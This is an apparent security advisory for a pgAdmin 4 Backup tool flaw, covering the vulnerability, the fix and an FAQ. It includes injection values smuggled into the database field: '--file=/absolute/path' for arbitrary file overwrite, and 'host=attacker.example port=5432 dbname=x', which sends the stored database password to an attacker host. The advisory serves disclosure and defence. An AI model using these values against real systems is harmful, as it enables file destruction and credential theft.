CVE-2026-86864: pgAdmin 4: Argument and connection-string injection via the database field in the Backup tool
pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pgdump argument vector as a bare trailing positional argument, without validation. Because pgdump parses its options with getoptlong, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pgdump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further.
The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pgdump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the toolsbackup permission, which is granted to the default User role.
The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value.
This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.
Affected Software
Event History
Frequently Asked Questions
What access does an attacker need to exploit this issue?
The attacker needs low-privileged access to submit a Backup job request to pgAdmin. Exploitation is network-accessible, requires low complexity, and does not require user interaction.
What can an attacker do through the Backup job request?
A database value beginning with a dash can be interpreted by pg_dump as an option, allowing an attacker to override the intended output-file setting. This can create or overwrite files anywhere the operating-system account running pgAdmin has permission to write, including pgAdmin's configuration database.
Can this issue cause pgAdmin to connect to an unintended database server?
Yes. A database value containing an equals sign can be treated by libpq as a connection string, and embedded connection keywords can override the host and port supplied by pgAdmin. An attacker can therefore direct pg_dump to a server of their choosing.